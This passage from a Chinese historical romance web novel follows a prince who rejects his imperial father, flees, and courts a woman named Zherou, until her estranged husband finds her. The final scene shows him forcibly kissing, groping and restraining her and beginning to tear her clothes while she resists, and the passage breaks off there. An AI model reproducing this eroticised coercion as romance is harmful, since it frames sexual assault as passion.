“有一个小官家的闺秀,在机缘巧合之下和天家皇子年少相识,情愫暗生,却不想阴差阳错之下各自婚嫁,直到多年后,那皇子情难自已,竟强夺了臣子妻,将她偷偷养在外宅……这般不堪的身份,注定见不得天光,那女子却一腔痴心,信了情郎的许诺,等着他排除万难,娶她成亲。” “可不想等到最后,她才知晓,原来她一心倾慕的情郎,为了所谓的江山朝局,后宫里早已迎进了一个又一个的新人。 甚至更讽刺的是,有贵妃已经怀胎九月,临盆在即,而她腹中骨肉,才将将不过月余。女子终于心如死灰,一朝情断,想要离开这处伤心地,偏偏那人蛮横霸道,将她强行困锁在后宅,软禁不得出。” “她深恨情郎负心薄幸,强迫威逼,又怎肯生下他的孩子,为了堕胎,甚至不惜用了虎狼之药……” 屋外风雪簌簌,谢云舟一动不动地跪在地上,说得断断续续,声音低哑飘渺,伴着夜风猎猎,似有呜咽回声。 停顿半晌,他微微仰起脸,无声地笑了一下,“可偏偏孽种命大啊,一剂猛药下去,也不过是出生时带了些弱症,她却因此衰败了身子,生下孽种不久,积郁之下撒手人寰。” 檐角的铁马在朔风中翻飞摇晃,发出急促的啷铛声响。 官家呼吸微促,枯瘦的五指深深扣入檀木桌几的纹理,细锐木刺扎进指腹也浑然不觉,仿佛唯有这痛才能压住喉间翻涌的血气。良久,他喉头震颤着,眼底隐约泛起几许浑浊的泪光。 恍惚间,仿佛又见那年暮春,在京郊的马球场上,骄阳般的小娘子一袭猎猎红衣扬鞭而过,清亮的笑声漾开在春风里,鬓边的荼蘼花瓣随风飘落。 蓉娘……她走了太久太久了……如今,连他们的孩儿都已经长这么大了。 大抵是因为怨着他,所以她从不肯入他的梦,很多时候,他甚至有些记不大清她的样貌,无论怎样拼命回想,脑中也只模糊地剩下一道朦胧的影儿。 唯一可作慰藉的,是他们的孩儿生得像极了她。 眉眼像她,性子也像她,刚烈热忱,赤诚坦荡,尤其是委屈又执拗地看着人的时候,那双明澈干净的眼眸,简直同她一模一样。 官家看着地上跪着的青年,一时间胸口涩痛难当,低低唤了一声:“鸣岐……” 谢云舟的声音却骤然冷了下去,那双俊眸直直地看向官家,一字一句道:“这一切,都是因为您负了她。” 官家浑身一震,玉色袖笼里的指尖不受控制地痉挛抽痛起来。 半晌,谢云舟低下头,轻扯了扯唇角,自嘲地笑了下,“我原以为……” 停顿一霎,他喉结艰难地滚了几下,隐约哽咽着说出那个称呼:“原以为母亲她恨得一心不想要我,可后来我才知晓,她也曾日夜期盼过我……她给我做过小衣裳,绣过虎头鞋,还打过平安锁……” “那些东西,都锁在她床下的小箱子里,没来得及烧干净。” 那年他在京郊行宫,被她身边的嬷嬷认出来,隐约窥见了身世密辛的一角。 起初他难以置信,亦不能接受。等后来年岁稍长,他借着出城游猎,一次次偷转去那处行宫,也曾翻墙溜进过冯家旧宅,去看她生活起居的屋院、烧剩的手扎账册、锁在箱笼里的细碎旧物……时日久了,也不难在心底一点点勾勒出生母的模样。 她单名一个“蓉”字,取自于木芙蓉“拒霜不凋”的高洁坚韧之意。 她出身于清贵人家,虽家世不显,却也饱读诗书,年少时便有才情,写得一手好字,绘得一手好丹青,马球投壶样样精通,擅经商,爱美酒,好烟火,闲来养猫逗鸟,赌书消得泼茶香。 当然她也不是诸事俱通,她不擅音律,也不擅女红针黹,那双虎头鞋的针脚就算不上平整,甚至显得有几分笨拙,只是缝得很细密,反倒透着股执拗的认真劲儿。 他的生母,原是那样一个明媚鲜活的小娘子,却偏偏教情爱一点点磋磨成怨妇,被迫困在后院方寸之地,做一个见不得光的外室,眼睁睁地看着情郎娶妾生子…… 原来他孺慕敬仰半生的父亲,竟是逼死他生母的元凶,他们父子两个,一个负心薄幸,一个孽种催命,生生害得她不过双十年华,便已香消玉殒,饮恨泉下。 这般不堪的往事摆在眼前,要他如何自处? 屋外风雪渐紧,呼啸作响,冷冽的北风扑卷起雪沫子,不住地拍打向窗棂。 官家仿佛一瞬老了十岁,声音里也染上浓浓的倦意,“你是朕最心爱的儿子……从前是我对不起你阿娘,我老了,也快要去见她,我和她之间的债,不该算到你头上……爹爹如今只想你回来,同我好好做几年父子。” 谢云舟却不为所动,挑眉轻哂:“与其说是想与我相认,不如说是因为您膝下单薄,后继无人。” “鸣岐!” “官家该当我死在淮河,喂了鱼虾,尸骨无存,如此才是最好!” “放肆!”官家骤然暴喝出声,抬手直抵向他面门,苍白指尖不住地发颤,“朕……朕竟养出你这么个无君无父的不肖子!如此狂妄悖逆,不过是仗着朕疼你!” “疼我?”谢云舟忽而扯唇笑了下,似是自嘲,眼底却又掺了几分凉薄寒意。 “当年您待大哥何其器重,委以重任、放权栽培,可谏院几句流言,刚好合了您推行新政的心思,便冷眼看着他被逼到自寻绝路。 您为制衡朝堂,纳三哥的生母姚氏为贵妃,自此和我母亲离心,是以,您迁怒于姚贵妃,继而迁怒于三哥……” 这些年来见多了天家薄情,让他很难不去思量,官家待他的这些偏心疼护,有几分是出自父子情义,又有几分是出自对他母亲的愧悔难安? 于是,生父每待他多好一分,他对生母的负疚便深上一层。 听他提及那两个哥哥,官家反倒是笑了,“原来你也明白,这锦绣江山,无上权柄,多少人求之而不可得,朕却……独独想留给你。” “可我偏不稀罕!” 谢云舟猛地抬起头,脖颈上青筋暴起,一字一句冷硬如寒铁:“人活在世,有所为有所不为!” “我虽一日不曾见过生母,可我既承她骨血,便做不得恋栈权势、违背她遗志的事来。” “什么劳什子的认祖归宗,我不认。”他缓缓站起身子,咬牙冷笑,“不认!” 言罢,谢云舟不再多留,转身便往门外走去。 “逆子!”眼见他要离开,官家猛地拍案起身,嘶声怒道:“你敢踏出这府门一步试试!” 谢云舟脚下微不可察地滞了一瞬,却终究是神色不改,继续大步朝外走去。 看着他头也不回地扎进漫天风雪里,官家气得浑身发颤,双目泛红,声音猛地高了起来:“冯綦何在?来人!给朕拦住他!” 夜色里骤然响起一阵甲胄摩擦的声音,皇城司的亲从兵自廊庑两侧鱼贯而出,呼啦啦地围上前来,如铁桶般团团拦住谢云舟的去路。 冯綦拱手一礼,沉声道:“小郡王,恕末将得罪。” 谢云舟缓缓环视一周,舌尖舔了舔后槽牙,嗤笑出声:“成啊,那便试试——我倒要看看,今日谁拦得住我!” 话音未落,数十个亲从兵一齐纵身拥上。 谢云舟一把截住迎面落下的刀鞘,反手将刀柄重重一掷,狠撞在另一人胸前,缠斗半晌,两厢里渐渐都打红了眼,激出血性,不知哪个兵卒手中的长棍重重击中了他的后背,当即折作两段,上头一截凌空飞了出去。 这一棍吃得结结实实,谢云舟只觉一股钝痛自脊背猛然炸开,胸腔里登时一阵气血翻涌,脚下跟着趔趄了退了两步,险些跪倒在地上。 四周人影憧憧,招式混杂,他只不过稍稍迟滞这一瞬,竟又接连挨了几下重击,喉间腥甜上涌,他勉强咬牙咽了下去,唇边仍是渗出一线血红。 官家猛地一惊,颤声怒吼:“不准伤他!” 听得这一声喝令,皇城司的人动作皆是一滞。谢云舟眸光一凛,趁机扯落了廊下风灯,借火引燃,反手掷向院中追兵,趁着周遭混乱,直冲过回廊,翻身跃出国公府的院墙,踉跄着遁入后巷,本能地顺着最熟悉的那条路奔逃。 听着身后甲胄摩擦的追赶声响,不知跑出去了多久,背上的钝痛一阵阵漫向四肢百骸,喉间也隐隐泛起血腥气,肺里灌进了雪夜冷风,像吞了无数冰针,呼吸间刺得生疼,谢云舟一时支撑不住,踉跄了两步,猛地跌跪下去。 恍惚间,眼前乍然浮现起那张温婉柔软的笑靥。 九娘—— 她还在客栈里,等他回去呢。 他答允过,要送她回洮州,还要去她爹娘坟前上炷香。 既已决意斩断前尘,今日必要做个了断。 他要干干净净地离开这里,斩断这身血脉牵绊,从此天高地阔,做个寻常布衣,再也不必背着什么天潢贵胄的狗屁枷锁,只作这世间最平凡的一个男子,去赴一场这世间最寻常的约。 可皇城司的人又岂敢辜负圣命?转眼间已经紧随着追赶而来,四下里尽是追兵,街巷中火把通明,数不清的脚步声渐追渐近。 谢云舟咬了咬牙,正要撑地起身,眼前忽然出现一双沾了雪泥的墨色缂丝长靴。 微微一怔,他抬头顺着长靴衣摆向上看去—— 竟是胥国公。 “……爹爹?” 胥国公冷沉着脸,一把将他拽了起来。 谢云舟勉强站稳身形,指腹抹过唇角,擦出一道刺目的血痕。 他急促地喘了几口气,防备地向后退开半步,“您亲自过来这一趟……可是要捉我回去?” 胥国公目光如刀,冷冷地瞪了他一眼,低斥道:“小兔崽子,就这么跑了,身上有带银钱么?” 谢云舟猛地怔住。 胥国公看了他一眼,从怀中取出一个羊皮锦囊,塞进他手里,又解下躞蹀带上的鱼符,利落地系到他腰间,蹙眉交待道:“出门在外,一切要小心,多加保重。”顿了顿,又道:“若遇难处,随时传信。” 长指无意识地收拢,谢云舟眼眶倏地一热,重重跪到地上,喉头哽咽:“爹爹……” 胥国公沉默片刻,抬起手来,温热宽厚的掌心轻轻拂去他发顶落雪,又缓缓向下,用力拍了拍他的肩头,“去罢。” 谢云舟俯身叩首,拜别了养父,喉间血气未散,转身奔进风雪之中。 她就在城外等着他。 这念头仿佛一团烈火,烧得他浑身滚热,只想现在就去见她,半分都不可拖延。 第54章 撞见 夜色愈发深沉,屋外风雪呼啸,卷得檐下的灯笼上下翻飞,在窗纸上投出忽明忽暗的昏影。 这间客栈颇为偏僻,夜里投宿的行人不多,到此刻更是只剩下零星几盏灯火。 时辰已是不早,折柔却没甚睡意,只是坐在桌前,捧着茶盏怔怔出神。 水青留在平江府,谢云舟那边亦不知情形如何。 许是习惯了一路上有人作伴同行,此刻夜深人寂,独坐灯下,听着屋外风声呜咽,她竟隐隐感到一丝说不出的孤独意味。 见着炭盆烧得渐旺,折柔起身将手边的红泥小炉架放上去,正要再往里添两块碎炭,忽然听到有人敲门。 折柔扑了扑手,走过去拉开屋门,就见谢云舟闲闲倚在门边廊柱上,见她开门,朝她扬唇一笑,眼底映着廊中灯火,轻快明朗:“九娘。” 显见是一路顶着风雪奔逃至此,一张俊脸上笑意明亮,形容却是狼狈至极,两道剑眉上的落雪化作水珠,脸色显出异样的苍白,唇边还隐约凝着一丝血色。 借着屋内黯淡的灯火,折柔看清了眼前人的模样,心下微微一惊,侧过身让他先进屋来,“你受伤了?国公爷打你了?” 谢云舟抬脚迈过门槛,眼神飘忽一瞬,喉间含糊地应了声:“没什么,出来的时候不小心挨了两下闷棍。” 他嘴上说得轻松,可折柔瞧着那神色,料定他伤得不轻,此刻大抵在逞强硬撑。 她也不再多问,转身去翻找药箱,又吩咐谢云舟除去外袍和里衣,到椅子上反坐,“我带了治外伤的药,给你看看。” 谢云舟闻言一顿,可哪里又招架得住她这几分关切之意,乖乖依言解开外袍,俯身撑靠在椅背上,露出清瘦劲实的背脊。 折柔走到他身后,定睛看了一眼。 几道错杂的杖痕从左肩斜劈到右腰,到此刻已经红肿淤紫,边缘处裂开了几道血口,正缓缓向外渗着血珠,在苍白的皮肤上显得尤为触目惊心。 好在只是皮肉伤。 北上路途遥远,折柔随身带了些治外伤的创药,没想到还当真派上了用场。 简单清理过血渍,折柔回身取来药膏,指腹剜出一小块,在掌心化开,用指尖蘸着,慢慢敷上他脊背的伤处。 她的手指柔软、细滑,带着微微的凉意。 指尖触及后心的刹那,谢云舟猛地一颤,背上那层薄肌倏地绷紧,须臾,紧绷的肌理缓缓放松下来,却将腰背挺得愈发笔直。 折柔的动作不由一顿,试探着抬眼看他:“很疼么?我轻一些。” 谢云舟喉结狠狠滚动了一下,本想扯个无谓的笑,说“这点皮肉伤算什么”,可话到嘴边,也不知怎的了,竟鬼使神差地点了点头,低低地应了声:“……疼。” 他一向是倔强桀骜的性子,此刻竟破天荒地开口示弱,想来是真的疼了,折柔停顿一霎,手上又放轻了几分。 屋外风雪呼号,脚边的炭盆燃得愈旺,红泥小炉上的茶水渐热,隐约腾起几缕白雾,茶香混着清苦的药味,在暖融融的室内慢慢氤氲散开。 温软的呼吸如羽毛般拂过伤处,带起一片细密的战栗,谢云舟只觉脊背上一阵阵发麻,喉结滚动几下,五指攥紧了圈椅的边缘,身上渐渐沁出一层薄汗。 折柔察觉到他的紧绷,心下微软,轻声安抚:“别怕,很快就好。” 知道她误会了,谢云舟喉间一哽,却也不好解释什么,只能闷闷“嗯”了一声,有点狼狈地别过脸去。 身后一盏油灯昏黄黯淡,将她的身影拉得很长,在斑驳的地板上轻轻晃动。 谢云舟闷头看了一会儿,无意识地抬起指尖,在浮动的光影里虚虚一碰。 想想几个月前,他初到燕子坞的时候,她待他还颇为冷淡疏离,换药包扎这等事只叫水青经手,自己很少进到他的卧房。 相处了这么些时日,好像有什么在悄悄改变。 上完药,折柔轻快地笑笑,“好了,衣裳穿回去罢。” 柔软的指腹倏忽离开了背脊,温热的触觉却仿佛还烙印在肌肤上。 红泥小炉上茶水烧至滚沸,咕嘟咕嘟地顶着壶盖,茶雾袅袅升腾漫开。 谢云舟慢吞吞地直起身来。 折柔低头收拢好药瓶,正欲起身,不经意瞥见他胸口的那道月牙似的旧疤,忽然就有些不好意思,抿唇笑了笑,“当初我手艺生疏,伤处缝合得不平整,留下这疤……倒是不大好看。” 说完,她收了帕子要转身,谢云舟却忽然伸手握住她的手腕,把人拉住。 青年的掌心温热干燥,完全包拢住她纤细的手腕。 折柔一愣。 “我觉得好看。”谢云舟侧首看向她,眉梢轻挑,懒洋洋地笑了笑:“它可救了我的命。” 折柔低头,正正对上他的视线,青年的眼神明澈纯粹,黝黑的瞳仁倒映着烛火,笑意明亮,只盛着一个小小的她。 心口莫名一紧,折柔只觉有些招架不住,匆匆别开了眼,低声催他快些将衣裳穿好,“客栈的窗子透风呢,小心着凉。” 雪夜奔逃的热血仍在血脉里奔涌,积蓄压抑了一晚的混乱心绪再也按捺不住。 谢云舟心一横,直直地看向她,“九娘,从今夜往后,我也不再是什么狗屁郡王,你可愿给我个机会?” 听见这话,折柔不由愣住,“鸣岐……” 他扯唇笑了笑,“先前有些污糟事,我原想着等料理干净再告诉你,不想今夜虽有些意外,但也算是做了个了断。 你不是最厌恶那些高门大户么?咱们去一处无人知晓的生地,置下几许田产铺子,过安稳平淡的日子,前屋后院再种点花木果树,等到了秋冬,我还给你摘柿子呢。” 对上那道热烈干净的目光,折柔心头一颤,呼吸隐隐发紧。 去一处无人知晓的生地,过安稳平淡的日子。只是这般想想,就让人觉得心中暖热。 怎么会不动容呢。 她也渴盼有人相伴,害怕形单影只,更不想孤独终老。 她垂了垂眼睫,生怕泄露出眼底的动摇。 “九娘……你既然决意不再回头,日子也总要往前走,身边总要有人相伴,与其和旁人,不如……不如就试试我呢?” 顿了顿,谢云舟忽而扣住她的手腕,牵引着她抬手贴上自己的心口,正好将那道月牙似的疤痕嵌进她的掌心,良久,低声道:“九娘,这条命是你救回来的,从今往后,它也合该只属于你一个人。” 他仍赤着上身,胸膛的线条利落分明,肌理劲瘦而削薄,随着呼吸微微起伏。 折柔恍惚着,只觉一股极为有力的脉动自掌心传来,如涟漪般轻轻荡开在她胸腔深处,渐渐和她的心跳声重叠起来。 那一小片柔韧肌肤分明透着微凉,却如烙铁般灼得她指尖发麻。 好半晌,她深吸一口气,压抑着哽咽出声,“鸣岐……这对你不公平……我,我……” “九娘,你心里还有陆秉言,好的也罢坏的也罢,没那么容易忘干净。我知道,我可以等。” “没有什么不公平,”谢云舟目光灼灼地看着她,“我也不在乎那些,只盼着你肯放下对我身份的芥蒂,同我试试,好么?” 折柔指尖微蜷,心口泛起一阵细密的酸楚。那酸楚里又掺着几分说不清道不明的温热,让她一时不知要如何作答。 见她垂着眼久久不语,他忽地展颜笑开,眉眼轻快,“九娘,像我这般送上门的便宜,不吃白不吃的。” 听见这句少年气的玩笑话,折柔愣怔一瞬,微微侧过脸,唇角不自觉扬起一个极浅的弧度,又暗暗抿住。 屋外细雪飘飘,就快到年节了。 她和陆谌早已是尘归尘,土归土。 她已经慢慢地不会再做噩梦,不再想起他,能够安下心来过自己的琐碎日子,甚至也能对旁人生出朦胧而微妙的悸动。 为什么不往前走一步呢? 指尖浸润着青年胸膛的温度,心跳声声作响。 ——她分明也是欢喜的。 似乎再找不到什么理由拒绝。 陆秉言,尤其不应当成为那个理由。 陆谌在江南生了一场大病。 本就是余毒积伤未愈,又不眠不休地疾驰了七个昼夜,见到的却只是人去屋空,一路上强撑着的那口气骤然溃散。 陆谌受不住这等剜心煎熬,勉强撑住最后一分清明,交待了心腹北上查探,随后便一病不起,也不许南衡等人近身,独自蜷缩在折柔的榻上,枕着她睡过的软枕,水米未进,高烧了整整三日三夜。 南衡一直挨到第四日傍晚,再也按捺不住满腔焦急,心一横正要强行破门,却见陆谌自己拉开屋门,慢慢走了出来。 他除了面色憔悴些,眉目间竟再看不出半分异样,只是周身气度冷寂得越发教人心惊。 南衡喉头一紧,“郎君……” 陆谌神色平静,声音淡得听不出情绪:“去把屋主带来,我有话要问。还有,问问这处院子值多少银钱,按三倍付与她。” 南衡忙领命去了。 陆谌裹着一身玄色大氅,面容苍白冷峻,静静地立在阶前。 听着吴大娘子战战兢兢的叙述,他慢慢拼凑出她这小半年来在燕子坞的生活。 起初没有寻什么生计,随身带着个女使,又养了只狗儿,算是在此处安家落脚。 后来开始做些成药,贩到平江府城里,生意尚算不错,与四邻相处也甚是和睦,不曾受过欺负。再往后,便是收留了谢云舟,两人同住一个屋檐下,日夜相对。 说到此处,吴大娘子每说一句,便见陆谌的脸色难看一分。 实是分不清这到底是有情还是有仇,吴大娘子心头直打鼓,不敢再随意开口,只好仰起脸,壮着胆子问了一句:“敢问官人……同九娘是……” “你想问,我是她什么人?”陆谌忽地轻笑一声,嗓音却冷寒如冰。 吴大娘子咽了咽口水,没敢应声。 “我是她男人。”陆谌眸色森寒,字字如刀:“她是我三书六礼、明媒正娶的结发妻。” 吴大娘子吓得一个哆嗦,讪讪地缩回了脖子。 陆谌沉默着转回身,望向洮州的方向。朔风裹起细雪扑面而来,如刀割般刮过脸颊。 眼下正值年关,她既然北上,少不得要回洮州祭奠爹娘的坟茔。正月初十是她爹爹的生忌,若无意外,在那之前她断不会启程南返,左不过是暂居在洮州附近的某处。 倘若冯綦堪用,能截住谢云舟自是最好,若是拦不下……那他们一道北上回乡,依着谢云舟的性子,定会担心暴露行踪后牵累泾原军旧部,如此必要绕开泾原的治所渭州,便只能取道岷州,再沿渭水西行。 不难找。 为防万一,陆谌单独留了两个人守在燕子坞,带着其余的护卫北上回洮州。 临行前,陆谌扫了眼谢云舟住过的厢房,平静道:“烧了。” 不及南衡应声,他又看向蜷在阶下瑟瑟呜咽的小狸,淡道:“把狗带上,一道返程。” 年节刚过便是立春,折柔和谢云舟到岷州暂作落脚的次日,正好赶上城中鞭春牛,街巷间一早便是人山人海,热闹繁盛。 用过朝食,谢云舟问她想不想过去看看。 折柔想了想,点头,“新年立春,去凑凑热闹,也算求个好兆头。” 看过鞭春牛,天上飘起了细雪,两个人却兴致不减,又去瓦市逛了一圈,买了琥珀蜜,桃穰酥和紫苏梅子姜,一直流连到天色全黑,这才顶着漫天的碎雪往回走。 回到落脚的客舍,就见门外停着一架半旧的灰篷马车。 岷州地处秦凤路要冲,客栈里往来行商素来混杂,折柔难得心情松快,倒也不曾在意,一边往院子里走,一边从油纸包里捻起一块琥珀蜜,放进嘴里抿了抿。 谢云舟挑眉看了她一眼,“喜欢么?” “味道不错。”折柔弯唇笑笑,另捡起来一块,伸手递给他,“尝尝?” 谢云舟手里还提着两包宵夜点心,一时也没有多想,直接弯腰俯身,张嘴含住了她手中的蜜糖。 薄唇带着细微的凉意,在触及她指尖的瞬间,温软的舌尖轻轻划过,如蜻蜓点水般卷走了那块琥珀蜜。 折柔心头倏忽一跳,脸上隐隐冒出了一丝热意,正要将手收回来,不远处的黑暗里,猝然响起一道冷冽低沉的声线—— “妱妱。” 那声音不轻不重,却如同一声钟鸣,在她心头猛然荡开,轰轰震颤。 折柔身形倏地僵住,方才还在发烫的指尖瞬间变得冰凉,再也动不了分毫。 第55章 逼问 陆谌从黑暗中走出来,天际一钩冷月,映出他苍白清俊的面容,脚下长靴碾过落雪,发出令人牙酸的咯吱声。 折柔和他隔着几步的距离对望。 看着那双黑沉如幽潭的眸子,她呼吸微微一滞,如同被无数根柔韧的丝线缠绞住心脏,又慢慢收紧。 陆谌不知在雪中站了多久,肩头与发间都已覆上了一层白霜。 “妱妱,过来。” 谢云舟警惕地盯着陆谌,本能地往前一步,将折柔完全挡在身后。周遭却同时响起一片呛啷啷的拔刀声,南衡带着一众护卫围拢上前。 折柔一惊。 陆谌的视线落在两人交握的手上,凝定一瞬,又缓缓上移,如刀子般剐过谢云舟的脸庞,声音冷得像浸了冰水。 “鸣岐,官家眼下还不知晓你在此处,你想同他父子团聚么?” 谢云舟神色微变,咬牙怒道:“陆秉言你个混账!你尽管去寻官家,只要我还有一口气,你便休想强逼她离开。” 折柔心头猛地一颤,指尖不自觉地掐入掌心。 谢云舟立时察觉到她的紧绷,微微侧过身,挡住陆谌的视线,冲她安抚地笑笑,低声道:“别怕,九娘。” 瞧着眼前两人的亲近模样,陆谌讥讽地扯了扯唇,眼底冷寒一片,示意南衡:“去,给冯綦传信,告诉他,小郡王就在此处。” 眼见南衡就要领命出去,折柔再也忍耐不下,出声叫住了他,“陆秉言,我和你的事,莫要牵连旁人。” 陆谌一动不动地望着她,眼中意味不言自明。 谢云舟不肯松手,执拗道:“九娘!” 折柔抬脸冲他笑了笑,“没事。” 说完,她轻轻挣开了他的手,将油纸包递给他,慢慢朝着陆谌走了过去。 陆谌微微抬了抬下巴,南衡当即意会,带人拦了过来,将谢云舟格在院外。 折柔迈过门槛,身后屋门“砰”地一声关合,震得她心脏一颤。 脚下将将站稳,陆谌已经反身将她抵在了门上,双臂如铁箍般将她禁锢在怀中,力道大得几乎让她喘不过气来。 陆谌目光紧紧地笼住她,一寸一寸描摹过她的眉眼,轮廓,可脸上却始终冷淡得看不出半分表情。 折柔也没有作声,心头有些说不出的发慌,只勉强镇定着同他对视。 数月不见,陆谌竟好似与从前大不相同,客舍内烛火昏暗,映得他神色半明半暗,缠着股骇人的阴郁冷戾。 “这几个月,你在外头,过得可还快活?” 折柔咬着唇,微微蹙起眉心。 “你们在一处,做过什么?” 折柔眼睫轻颤,咬牙出声:“陆秉言,这和你没有干系。” 陆谌一把揽过她的腰,低头埋在她颈窝,高挺的鼻梁循着她颈侧的曲线缓缓游移,如同野兽检视猎物一般,轻嗅着她身上的气味。 折柔背上汗毛直竖,渐渐冒出一层细密的冷汗。 这样的陆谌太过陌生,仿佛已经压抑到了极致,比山林那一晚还让她心生惧怕,她本能地挣动推拒,声音里也带出了几分惊惶,“陆秉言……” 陆谌抬头看她。 昏暗的灯火下,那双黑眸沉沉湛湛,幽邃不见底,她能清晰地看见自己不安的倒影,心脏仿佛被什么绞紧,发出一声哀哀的颤音。 陆谌捏起她的下巴,粗粝指腹缓缓摩挲过她的唇瓣,手上动作轻柔温和,眼底却冷冽如寒冰。 “他吻过你么?” 不想他会问出这话,折柔又惊又怒,越发觉得屈辱难当,倔强地抿紧了唇,不肯作声。 “说!” 折柔只觉心头恨痛如绞,颤声怒道:“陆秉言,我同你早已……唔!” 话音未落,陆谌猛地堵住了她的唇。 日思夜想的温软唇瓣,带着熟悉的淡淡杏花香,稍一触碰,便教他渴得一发不可收拾。 陆谌狠狠地打了一个激灵,周身热血一瞬燥涌起来,舌尖不由分说地叩开齿关,长驱直入。 一手扯开她的褙子,右手探进衣摆,抚过她背后温热细腻的肌肤,不容抗拒地按住那对纤瘦伶仃的蝴蝶骨,压向自己。 掌心的冰凉寒意渗入肌肤,激得折柔猛地一颤,浑身如同被雪水浇透,脊背一瞬窜起刺骨的战栗。 陆谌急促地低喘着。 她纤柔的脖颈就在咫尺,白腻肌肤下淡青色的血脉隐约可见,正随着呼吸急促搏动。 陆谌喉结剧烈地滚动了几下,牙关不自觉地咬紧,心头猛然生出一股暴虐的冲动,想狠狠地咬下去,咬出血。 他勉强抑制住翻腾的戾气,偏头避开那处脆弱的脉管,轻吻了吻她的颈侧,含吮片刻,渐渐向下流连。 身前的呼吸热烫凛冽,满是侵略意味,仿佛利刃抵在颈间,随时要割破肌肤划出血来,折柔心头微颤,本能地贴向门板,想要往后逃。 察觉到她的意图,陆谌手上骤然用力,一把掐紧了她的腰,迫使她将脊背挺直,靠他更近。他低下头,隔着衣料含住一端,用熟稔的力道轻轻舔咬。 细密绵长的酥麻混着些微痛意向周身蔓开,折柔惶然睁大了眼,猛地挣扎起来,奋力想从他的禁锢下挣脱出去。 陆谌却死死箍住她的腰肢,似是惩罚,唇齿间忽而用了些力道,她骤然吃痛,身子微微一颤,呜咽出声:“陆秉言!” 好半晌,似是终于抚平了心中燥戾,陆谌低喘着抬起头来,抬手摸了摸她的脸颊,与她鼻尖相抵:“妱妱,这几个月,可有想过我?” 折柔抗拒地侧过脸,“放开我……” 陆谌眸色晦暗,定定地看了她半晌,突然扣住她纤细的手腕,不容抗拒地引着她探入自己衣内,掌心贴上他光裸的背脊。 他瘦得厉害,此刻微微弓着背,她手指触碰上去,竟能清晰地摸到凸起的肋骨轮廓。 一道道,冷硬如刀,锋利得能割伤人。 折柔指尖一颤,下意识要把手抽出来,却被他更用力地扣住手腕,动弹不得。 “抱我。” 声音低哑得不成样子,似是命令,又似是求恳。 折柔不肯听从,挣扎着要抽回手,指腹却不经意地触到一处狰狞凸起,靠近他后心的位置,长约寸余,边缘微微发硬。 那是一道疤。 折柔动作蓦地一顿。 他身上的每一处旧伤她都了如指掌,可后心这一道,她先前从不曾见过。 察觉到她的僵硬停顿,陆谌低低一哂,“摸到了?” 折柔没有作声,指尖却下意识地微蜷起来。 他语气沉静,淡得听不出一丝起伏:“那夜在船上,刺客留下的。” “我中了你的药茶,身上不听使唤,眼睁睁教船上的贼人刺了一剑,剑刃淬毒,贯穿肺叶。若非阎罗殿中不肯收,此刻我已是地下一具白骨。” 折柔心头猛地一颤,仓促别过脸去,声音里带着几不可闻的哽咽,“你何苦……非要纠缠于我……” “妱妱,”陆谌垂眸看着她,心中涩痛难当,哑声道:“这几个月,我过得很不好。” 他低下头,把脸深深埋进她的颈窝,硬挺的鼻梁抵着她细嫩的肌肤,呼吸热烫,如同无形的丝线,细细密密缠绕在颈间。 他喉结滚动,低低地重复,“妱妱,我过得很不好。” 像是在示弱乞怜,可手上的动作偏偏强势而粗暴,紧紧锢着她的腰肢,不容她有分毫的逃离。 折柔心头泛起涩意,哽咽道:“陆秉言,都已经过去了……” “我不答允!”一阵尖锐的痛楚如利刃般刺穿脊髓,他猛地抬起头来,咬牙追问:“妱妱,到底要我怎样做,你才肯回头?” 折柔嘴唇颤抖着,指甲深深掐进掌心,“早就回不去了……你不要再逼我……” “为什么不可以?”陆谌黑沉的眸子冷睨着她,半晌,凉笑了一声,“因为鸣岐?” 折柔抿了抿唇,没有作声。 陆谌死死地盯着她,额角青筋突突急跳,脑中的那根弦一点点绷到极致,仅存的一丝理智几要被她的沉默绞杀干净,就在此时,忽然听她低低开了口,“同他只有些许干系。” 当真是恨怒到了极处,陆谌险些要笑出声来。 从前是不相干,如今却是“有些许”。 折柔深吸一口气,强压下翻涌的情绪,抬眸望着他的眼睛,轻声道:“陆秉言,是我决意不回头在先。至于鸣岐……他说,姑且试试另去一处生地,过寻常日子……我答允了。” 陆谌瞳孔骤缩一瞬,眼尾霎时泛起了红。 如同一大锅沸腾滚油当头浇下,心头的怒火轰然炸开,烧向四肢百骸。 每一寸筋骨都似被烈焰灼烤,疼得他不知要如何是好,恨不能将胸腔里的东西剜出来扯碎了,教它从此再不能跳动分毫。 再也忍耐不住,陆谌一把掐起她的脸颊,低头深吻下来。 折柔喉间溢出一声呜咽,本能地用力想要挣脱,却被陆谌强硬地桎梏在怀里,被迫承受着他的侵袭,呼吸被掠夺得一干二净。 漫长的一吻结束,陆谌在她的唇上轻咬了一口,哑声道:“你是我的发妻,你只能有我一个。” “说,你只要我一个。” 折柔痛苦地闭上了眼睛,心底漫上一片悲凉。 又是如此。 又是这般强迫着她,逼她低头。 她不要,半分都不要。 “不是!”她用尽了力气挣脱出来,胸口急剧地起伏,咬牙怒道:“陆秉言,我同你早就没有干系了!” “同我没干系……”陆谌沉沉地逼视向她,眼底戾气翻涌,声音陡然拔高,“你同他谢鸣岐就有干系了是不是?!” 折柔不甘示弱地同他对视,唇角抿成倔强的直线,“……是又如何?” 空气骤然凝滞。 半晌,钳着她脸颊的那只手缓缓下移,虚虚扣住她纤细脆弱的脖颈。 陆谌用指腹摩挲着她跳动的脉搏,“他逼你的?蓄谋已久,挟恩求报?嗯?” 折柔的声音微微发颤,喉咙里勉强抑着哽咽,语气却坚定非常,“他不是你……陆秉言,他不是你。” 箍在她腰间的手掌骤然收紧,力道大得几乎要折断那截纤腰。 折柔疼得轻吸了一口气,却仍是倔强地咬紧下唇,不肯出声示弱。 陆谌眼底泛起骇人的猩红,呼吸愈发急沉,如同一头负伤的困兽。 两人对峙不过瞬息,陆谌猛地松手俯身,一把将人扛上肩头,大步朝里间床榻走去。 折柔还未及反应,陡然间一阵天旋地转,惊慌中下意识抓紧他背上的衣料。 数月未见,陆谌消瘦了太多,肩峰的锁骨如刀般顶在腹间,哪怕隔着厚重的冬衣大氅,也硌得她隐隐生痛,胃里一阵翻江倒海,酸意直冲喉头。 察觉到他的意图,折柔心脏猛地急跳起来,在他肩上拼了命地挣动,“陆谌,你放开我!放我下来!” 陆谌却浑似充耳未闻,任由她发了狠地掐挠捶打,只是一言不发地抱着她,将人狠狠压进了床榻,蛮横地撕扯起她身上衣衫。 折柔惊叫着奋力挣扎,手脚胡乱踢捶挣动,拼命地想要起身。 陆谌却轻而易举地将她压回去,屈膝将她制在榻上,俯身捏起她的下颌,寒声道:“妱妱,叫得再大声些,也好让鸣岐在外听个真切。” 